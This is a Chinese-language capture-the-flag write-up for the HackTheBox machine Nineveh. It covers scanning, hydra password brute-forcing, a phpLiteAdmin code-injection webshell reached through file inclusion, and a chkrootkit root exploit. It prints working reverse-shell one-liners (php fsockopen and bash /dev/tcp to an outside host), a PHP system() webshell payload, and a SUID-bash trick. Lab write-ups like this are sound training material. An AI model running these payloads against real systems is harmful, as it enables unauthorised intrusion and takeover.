HTB靶机08-Nineveh-WP

news2025/1/17 1:08:01

008-nineveh

1
靶机IP:
10.10.10.43

scan

Nmap 扫描

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 10.10.10.43 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-07 17:40 CST
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up (0.34s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 783.39 seconds

web

尝试访问80,存在Web服务,返回包中可知 apache 2.4.18

Web 扫描

80端口:

┌──(xavier㉿kali)-[~]                                                                                     
└─$ dirsearch -u http://10.10.10.43 -t 200                                                                
                                                                                                          
  _|. _ _  _  _  _ _|_    v0.4.2                                                                          
 (_||| _) (/_(_|| (_| )                                                                                   
                                                                                                          
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927             
                                                                                                          
Output File: /home/xavier/.dirsearch/reports/10.10.10.43/_23-04-07_17-41-46.txt                           
                                                                                                          
Error Log: /home/xavier/.dirsearch/logs/errors-23-04-07_17-41-46.log                                      
                                                                                                          
Target: http://10.10.10.43/                                                                               

[17:41:47] Starting: 
[17:42:01] 403 -  297B  - /.ht_wsr.txt                
[17:42:01] 403 -  302B  - /.htaccess.sample
[17:42:36] 200 -  178B  - /index.html                 
[17:42:42] 200 -   83KB - /info.php                   
[17:42:50] 403 -  299B  - /server-status              
[17:42:50] 403 -  300B  - /server-status/  

访问info.php,发现是个phpinfo页面
在这里插入图片描述

换了个大字典,扫描:

┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.43 -t 100 -x php,html,txt --timeout 20s
略
===============================================================
/index.html           (Status: 200) [Size: 178]
/.php                 (Status: 403) [Size: 290]
/info.php             (Status: 200) [Size: 83683]
/.html                (Status: 403) [Size: 291]
/department           (Status: 301) [Size: 315] [--> http://10.10.10.43/department/]

找到一条路径:

http://10.10.10.43/department/login.php
在这里插入图片描述

一条注释语句:

 @admin! MySQL is been installed.. please fix the login page! ~amrois 

有用户名枚举,判断存在admin用户,跑弱口令

┌──(xavier㉿kali)-[~]
└─$ hydra 10.10.10.43 -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password" -v
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-08 03:18:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.10.43:80/department/login.php:username=^USER^&password=^PASS^:Invalid Password
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[STATUS] 266.00 tries/min, 266 tries in 00:01h, 14344133 to do in 898:46h, 16 active
[STATUS] 411.33 tries/min, 1234 tries in 00:03h, 14343165 to do in 581:10h, 16 active
[STATUS] 461.00 tries/min, 3227 tries in 00:07h, 14341172 to do in 518:29h, 16 active
[VERBOSE] Page redirected to http[s]://10.10.10.43:80/department/manage.php
[80][http-post-form] host: 10.10.10.43   login: admin   password: 1q2w3e4r5t
[STATUS] attack finished for 10.10.10.43 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-08 03:27:45

在这里插入图片描述

找到密码:1q2w3e4r5t

  • 除了常规思路枚举密码之外,还可以试下以数组方式提交密码的phpbug,即password=xxx改为password[]=xxx,看能否进入后台。

登录后台后,看到有个Note的功能点,给出了提示信息:

在这里插入图片描述

这里提到了serect folder,对notes参数进行了探测,发现存在文件包含:

?notes=a/ninevehNotes.txt
  
Warning:  include(a/ninevehNotes.txt): failed to open stream: No such file or directory in /var/www/html/department/manage.php on line 31

Warning:  include(): Failed opening 'a/ninevehNotes.txt' for inclusion (include_path='.:/usr/share/php') in /var/www/html/department/manage.php on line 31

这里include_path是PHP的一个配置项,它指定了PHP在查找文件时应该搜索的目录。在这个错误提示中,include_path被设置为.:/usr/share/php,这意味着PHP将首先在当前目录中查找文件,然后在/usr/share/php目录中查找文件。

测试发现notes的长度最大为55,必须要包含关键字ninevehNotes:
在这里插入图片描述

443 端口

对443端口也进行扫描,发现如下路径:

┌──(xavier㉿kali)-[~]
└─$ dirsearch -u https://10.10.10.43 -t 200 -x 403

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /home/xavier/.dirsearch/reports/10.10.10.43/_23-04-07_18-23-34.txt

Error Log: /home/xavier/.dirsearch/logs/errors-23-04-07_18-23-34.log

Target: https://10.10.10.43/

[18:23:38] Starting: 
[18:32:40] 200 -   11KB - /db/index.php
[18:32:40] 301 -  309B  - /db  ->  https://10.10.10.43/db/
[18:32:44] 200 -   11KB - /db/
[18:32:53] 200 -   49B  - /index.html

Task Completed

gobuster扫描:

┌──(xavier㉿kali)-[~]
└─$ gobuster dir -u https://10.10.10.43/ -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt --timeout 20s -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.43/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              html,php,txt
[+] Timeout:                 20s
===============================================================
2023/04/08 02:05:37 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 292]
/index.html           (Status: 200) [Size: 49]
/.php                 (Status: 403) [Size: 291]
/db                   (Status: 301) [Size: 309] [--> https://10.10.10.43/db/]
/.html                (Status: 403) [Size: 292]
/.php                 (Status: 403) [Size: 291]
/server-status        (Status: 403) [Size: 300]
/secure_notes         (Status: 301) [Size: 319] [--> https://10.10.10.43/secure_notes/]

在这里插入图片描述

找历史漏洞:

┌──(xavier㉿kali)-[~]
└─$ searchsploit phpliteadmin 1.9
------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- ---------------------------------
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection                     | php/webapps/24044.txt
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities                      | php/webapps/39714.txt
------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

看了下都是后台洞,那就密码枚举:

┌──(xavier㉿kali)-[~]
└─$ hydra 10.10.10.43 -l root -P /usr/share/wordlists/rockyou.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"  -t 20   
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-08 14:42:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 20 tasks per 1 server, overall 20 tasks, 14344399 login tries (l:1/p:14344399), ~717220 tries per task
[DATA] attacking http-post-forms://10.10.10.43:443/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password
[STATUS] 550.00 tries/min, 550 tries in 00:01h, 14343849 to do in 434:40h, 20 active
[443][http-post-form] host: 10.10.10.43   login: root   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-08 14:45:40

密码:password123,进后台。

然后利用PHPLiteAdmin 1.9.3 - Remote PHP Code Injection这个漏洞,按照指引操作,先新建一个以php结尾的数据库,然后创建一张表。

CREATE TABLE 'test2' ('12' TEXT default '<?php system($_REQUEST["cmd"]); ?>');

在这里插入图片描述

webshell

利用上面的LFI包含webshell
在这里插入图片描述

反弹TCP shell

?notes=/ninevehNotes/../var/tmp/shell.php&cmd=php+-r+'$sock%3dfsockopen("10.10.14.18",8888)%3bexec("/bin/bash+<%263+>%263+2>%263")%3b'

在这里插入图片描述

查看有没有Python,转到pty的形式

whereis python 
python: /usr/bin/python3.5 /usr/bin/python3.5m /usr/lib/python3.5 /usr/lib/python2.7 /etc/python3.5 /usr/local/lib/python3.5 /usr/share/python
python -c 'import pty;pty.spawn("/bin/bash")'
/bin/bash: line 19: python: command not found
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@nineveh:/$ 

提权

信息搜集

大概翻了一下,没有找到明显可用于提权的点,上传linpeas.sh脚本,跑一边,
在这里插入图片描述

发现:

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                               
Sudo version 1.8.16                                                                                                      

Vulnerable to CVE-2021-4034

Sudo 存在历史漏洞,可以利用

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports                                                  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                                         
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -   


╔══════════╣ Users with console
amrois:x:1000:1000:,,,:/home/amrois:/bin/bash                                                                             
root:x:0:0:root:/root:/bin/bash

╔══════════╣ Searching ssl/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)                                                                               

-rw------- 1 amrois amrois 400 Jul  2  2017 /home/amrois/.ssh/authorized_keys

Port 22
PubkeyAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
PasswordAuthentication no
UsePAM yes
══╣ Some certificates were found (out limited):
/etc/apache2/ssl/nineveh/nineveh.crt                                                                                     
17388PSTORAGE_CERTSBIN

╔══════════╣ Analyzing Knockd Files (limit 70)
-rwxr-xr-x 1 root root 1572 Mar 25  2009 /etc/init.d/knockd                                                               
#! /bin/sh
### BEGIN INIT INFO
# Provides:          knockd
# Required-Start:    $network $syslog
# Required-Stop:     $network $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: port-knock daemon
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/knockd
NAME=knockd
PIDFILE=/var/run/$NAME.pid
DEFAULTS_FILE=/etc/default/knockd
DESC="Port-knock daemon"
OPTIONS=" -d"
umask 0037
test -f $DAEMON || exit 0

存在SSH,开放了22端口,禁用了密码登录,需要使用私钥,存在knockd程序。

╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path                                     
/usr/sbin/report-reset.sh                                                                                                 
/usr/bin/gettext.sh

╔══════════╣ Unexpected in root
/report                                                                                                                   
/vmlinuz
/initrd.img

╔══════════╣ Files inside others home (limit 20)
/home/amrois/.bash_logout                                                                                                 
/home/amrois/.bashrc
/home/amrois/.profile
/home/amrois/.ssh/authorized_keys
/home/amrois/user.txt

╔══════════╣ Searching installed mail applications
                                                                                                                          
╔══════════╣ Mails (limit 50)
   155881      4 -rw-r--r--   1 amrois   mail          483 Jul  2  2017 /var/mail/amrois                                  
   155881      4 -rw-r--r--   1 amrois   mail          483 Jul  2  2017 /var/spool/mail/amrois

敏感文件,系统中还有邮件

www-data@nineveh:/var/www/html/department$ ls -l /usr/sbin/report*
ls -l /usr/sbin/report*
-rwxr-x--- 1 amrois amrois 34 Jul  2  2017 /usr/sbin/report-reset.sh

www-data@nineveh:/tmp$ ls -l /var/mail/amrois
ls -l /var/mail/amrois
-rw-r--r-- 1 amrois mail 483 Jul  2  2017 /var/mail/amrois

在这里插入图片描述

私钥

联想到之前80端口note提到的事情,secret folder应该就是secure_notes/,难道是图片有蹊跷?

下载图片,用strings看看关键字

┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ wget https://10.10.10.43/secure_notes/nineveh.png --no-check-certificate 

┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ strings nineveh.png 

在这里插入图片描述

查看邮件信息,可以看到敲门序列

www-data@nineveh:/tmp$ cat /var/mail/amrois
cat /var/mail/amrois
From root@nineveh.htb  Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
        id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911

SSH

接下去尝试SSH登录,首先进行敲门命令:

┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ knock 10.10.10.43 571 290 911
                                                                                                                                                   
┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ telnet 10.10.10.43 22  
Trying 10.10.10.43...
Connected to 10.10.10.43.
Escape character is '^]'.
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
quit
Protocol mismatch.
Connection closed by foreign host.

telnet可以看到22端口已经开放了,接下来用私钥去登录amrois用户

┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ ssh -i nineveh.priv amrois@10.10.10.43
The authenticity of host '10.10.10.43 (10.10.10.43)' can't be established.
ED25519 key fingerprint is SHA256:kxSpgxC8gaU9OypTJXFLmc/2HKEmnDMIjzkkUiGLyuI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.43' (ED25519) to the list of known hosts.
Ubuntu 16.04.2 LTS
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'nineveh.priv' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "nineveh.priv": bad permissions
amrois@10.10.10.43: Permission denied (publickey).
                                                                                                                                                   
┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ chmod 600 nineveh.priv    

可以看到默认权限为644,会引起报错,修改为600权限后,再次登录就正常了。

┌──(xavier㉿kali)-[~/Desktop/HTB/008-nineveh]
└─$ ssh -i nineveh.priv amrois@10.10.10.43
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

288 packages can be updated.
207 updates are security updates.


You have mail.
Last login: Mon Jul  3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ id
uid=1000(amrois) gid=1000(amrois) groups=1000(amrois)
amrois@nineveh:~$ 

该用户下,存在的哪些敏感文件,我们看看能不能利用。

注意点report会定期创建,没看到其他利用方法。

最后上传pspy,并执行,结果发现了存在chkrootkit:
在这里插入图片描述

https://www.kali.org/tools/chkrootkit/

http://www.chkrootkit.org/

https://github.com/Magentron/chkrootkit

chkrootkit 安全扫描程序会搜索系统感染“rootkit”的迹象,可以识别超过 70 种不同的 rootkit 的迹象(有关列表,请参阅该项目的网站)。

root

搜索历史漏洞

┌──(xavier㉿kali)-[~]
└─$ searchsploit chkrootkit      
----------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------- ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit)                                                             | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation                                                                     | linux/local/33899.txt
----------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

该工具存在本地权限提升漏洞,

根据https://www.exploit-db.com/exploits/33899 提示,/tmp/update会被chkrootkit以root权限进行执行,利用该漏洞进行提权:

方法一,写反弹shell:

amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.18/9999 0>&1' > update
amrois@nineveh:/tmp$ chmod +x update

方法二,配置suid权限:

amrois@nineveh:/tmp$ echo '/bin/bash -c "chmod +s /bin/bash"' > update
amrois@nineveh:/tmp$ chmod +x update
amrois@nineveh:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
amrois@nineveh:/tmp$ cat update 
/bin/bash -c "chmod +s /bin/bash"
amrois@nineveh:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1037528 Jun 24  2016 /bin/bash

Bash suid提权:

amrois@nineveh:/tmp$ /bin/bash -p
bash-4.3# id
uid=1000(amrois) gid=1000(amrois) euid=0(root) egid=0(root) groups=0(root),1000(amrois)
bash-4.3# whoami
root

bash-4.3# cat /root/root.txt
c21xxxxxxxxxx
bash-4.3# cat /home/amrois/user.txt
e48xxxxxxxxxxxx

总结

总体思路:端口扫描、Web扫描、弱口令爆破、漏洞利用,得到第一个shell;后面利用信息搜集,knock程序、SSH私钥登录,chkrootkit漏洞利用。

新知识点:

  • pspy 可以详细扫描当前存在的进程;
  • hydra 爆破 http、https
  • 其他端口扫描工具:rustscan、AutoRecon、naabu
  • 目录枚举工具:wfuzz、ffuf、feroxbuster

#OSCP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/501117.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux系统安装nginx 支持ssl

目录 1. 开放80端口和443端口 2. 安装nginx的基础环境 -> 2.1 安装gcc-c编译器 -> 2.2 安装pcre包 -> 2.3 安装zlib包(可能安装过) 3. 安装nginx -> 3.1 创建文件夹 -> 3.2 在官网下载nginx包到服务器内 -> 3.3 解压tar.gz,并进入nginx-1.19.9 -&g…

[数据库系统] 二、表的基本操作(educoder)

目录 第一关&#xff1a;修改表名 一、知识点 ①查看所有表&#xff1a;show tables; ②查看表基本结构&#xff1a;DESCRIBE 表名&#xff1b; 或 简写为 desc 表名; ③查看创建表的语句&#xff1a;SHOW CREATE TABLE 二、educoder 第二关&#xff1a; 修改表结构-1 一、…

面对AI“龙卷风”破坏力 白宫“软着陆”欧盟“硬防御”

ChatGPT的风靡与风险将OpenAI的CEO山姆奥特曼&#xff08;Sam Altman&#xff09;送进白宫&#xff0c;他被蹲守在美国总统府邸的记者们围追&#xff0c;面对5月4日白宫发起的AI风险治理会议&#xff0c;奥特曼很官方地给出“重要也很及时”的回应&#xff0c;自信的反复强调“…

【TCP三次握手】

文章目录 TCP基本认识TCP头部格式为什么需要 TCP 协议&#xff1f; TCP 工作在哪一层&#xff1f;什么是 TCP &#xff1f;如何唯一确定一个 TCPUDP 和 TCP 有什么区别呢&#xff1f;分别的应用场景是&#xff1f;TCP 和 UDP 可以使用同一个端口吗&#xff1f; TCP连接建立TCP三…

“SCSA-T学习导图+”系列:深入浅出理解OSPF链路状态信息

本期引言 本文是基于读者对OSPF有一定了解的基础上&#xff0c;重点理解OSPF收集链路状态的过程。我们都知道在OSPF的工作原理中&#xff0c;主要是通过泛洪不同种类的LSA来进行LSDB的同步&#xff0c;最后通过SPF算法来计算路由&#xff0c;达到全网互通的目的。所以我们研究…

camunda流程变量如何使用

Camunda是一个流程引擎&#xff0c;它支持在流程执行期间存储和操作流程变量。流程变量是一个值或对象&#xff0c;可以与Camunda中的流程实例、任务或执行相关联。 流程变量在Camunda中有很多用途。以下是一些常见的用途&#xff1a; 1、传递数据&#xff1a;流程变量可以用于…

通讯录备份的方法你知道几个?分享iPhone通讯录3个备份技巧!

案例&#xff1a;苹果通讯录的备份方法 【我想把 iPhone 8重置一下&#xff0c;把里边乱七八糟的东西清一清&#xff0c;软件什么的重新下了就好了&#xff0c;设置什么的也不需要备份&#xff0c;只想重置完了能恢复一下通讯录&#xff0c;求解答&#xff01;】 在如今的移动…

Scrum敏捷开发工具-单团队敏捷开发管理

Scrum是全球运用最广泛的敏捷管理框架&#xff0c;Leangoo基于Scrum框架提供了一系列的流程和模板&#xff0c;可以帮助敏捷团队快速启动Scrum敏捷开发。 这里可以介绍一下在scrum中单团队敏捷开发如何管理&#xff0c;单团队敏捷开发主要是针对10-15人以下&#xff0c;只有一…

PHP+MYSQL+Thinkphp——仓库管理系统

一、功能 前台功能&#xff1a; 1、企业介绍、企业消息推送 2、用户注册、用户登录、重置密码、退出登录 3、用户个人信息修改、材料申购、审批查看 4、材料管理&#xff1a;公司已有材料查看、材料借用、材料归还、借用记录 后台功能&#xff1a; 1、后台登录、修改管理员密…

【Java EE】-Servlet(二) Servlet API 详解

作者&#xff1a;学Java的冬瓜 博客主页&#xff1a;☀冬瓜的主页&#x1f319; 专栏&#xff1a;【JavaEE】 分享:寂寞会发慌&#xff0c;孤独是饱满的。——史铁生《命若琴弦》 主要内容&#xff1a;HttpServlet的方法&#xff0c;init,service,destroy,doGet/doPost/doPut/…

MySQL之从一条记录说起 【InnoDB 记录结构上篇】

前言 本文章收录在MySQL性能优化原理实战专栏&#xff0c;点击此处查看开篇介绍。 本文摘录自 ▪ 小孩子4919《MySQL是怎样运行的&#xff1a;从根儿上理解MySQL》 到现在为⽌&#xff0c;MySQL对于我们来说还是⼀个⿊盒&#xff0c;我们只负责使⽤客户端发送请求并等待服务…

【Go编程语言】 Go语言基础语法

Go语言基础语法 文章目录 Go语言基础语法一、注释1.单行注释2.多行注释 二、变量1.变量的定义2.变量的初始化3.理解变量&#xff08;内存地址&#xff09;4.变量交换5.匿名变量6.变量的作用域 三、常量1.常量的定义&#xff1a; const2.iota&#xff08;特殊常量&#xff09; 四…

HLS直播与延迟时长的来源与超低延迟直播

1.HLS直播延迟时长&#xff08;HTTP Live Streaming&#xff09; HTTP Live Streaming&#xff08;简称 HLS&#xff09;是一个基于 HTTP 的视频流协议&#xff0c;由 Apple 公司实现&#xff0c;Mac OS 上的 QuickTime、Safari 以及 iOS 上的 Safari 都能很好的支持 HLS&…

Kmeans++ 算法对随机数据样本聚类

一、算法简介 K-means算法是一种常见的无监督学习聚类算法&#xff0c;其基本思想是将n个样本划分为k个簇&#xff0c;每个簇内的样本之间的相似度要尽可能的大&#xff0c;而不同簇之间的相似度要尽可能的小&#xff0c;通过最小化各个簇内点与该簇中心点的距离和来实现。 二…

API接口对程序员的帮助有哪些,参考值简要说明

API接口对程序员的帮助有哪些 提高开发效率&#xff1a;通过API接口&#xff0c;程序员能够在不用重复编写代码的情况下&#xff0c;直接获取其他应用程序提供的服务或数据&#xff0c;极大地提高了开发效率。 减少错误率&#xff1a;使用API接口可以避免手动输入数据容易出现…

(LDR6020)双USBType-C口快充头适配器方案(PD快充 支持功率动态分配,只需要一颗芯片完成所需功能)

6月7日&#xff0c;欧盟公布了“在欧盟境内统一使用USB Type-C接口用于移动设备充电”的法规。在同一天&#xff0c;苹果公司发布了自己的35W双USB Type-C口充电器。可以看到&#xff0c;多USB Type-C口&#xff08;下文简称:C口&#xff09;快充充电器将成为市场趋势。LDR6020…

thinkphp+vue+html高校固定资产管理系统维修 租借4h80u

本高校资产管理系统采用的数据库是Mysql&#xff0c;使用thinkphp框架开发。在设计过程中&#xff0c;充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。运行环境:phpstudy/wamp/xammp等 开发语言&#xff1a;php 后端框…

经验总结:(Nginx 快速入门)

为什么需要Nginx 一个普通web项目刚刚上线不久时,用户使用的少,并发度低,所以在一个服务器上用一个jar包启动应用就可以了,然后内部Tomcat返回内容给用户。但是慢慢的,用户量上来了,并发量逐渐增大,这时候一台服务器就满足不了我们的需求了。于是采用横向扩展,即增加服务器的数…

MySQL调优系列(三)——存储引擎的选择

一、什么是存储引擎 关系型数据库的数据是存在表里的&#xff0c;可以将表理解为由行和列组成的表格&#xff0c;类似于Excel的电子表格的形式&#xff0c;每个表格就是一个数据。 表是在存储数据的同时&#xff0c;还要组织数据的存储结构&#xff0c;而这些数据的组织结构就…

tomcat启动web项目报错汇总

tomcat启动web项目报错汇总 前言问题java: 找不到符号 符号: 方法 getType() 位置: 类型为com.mtwl.vehicle.carflow.p背景解决方案 java: -source 7 中不支持 lambda 表达式 (请使用 -source 8 或更高版本以启用 lambda 表达式)背景问题解决 前言 简单记录一下tomcat部署web项…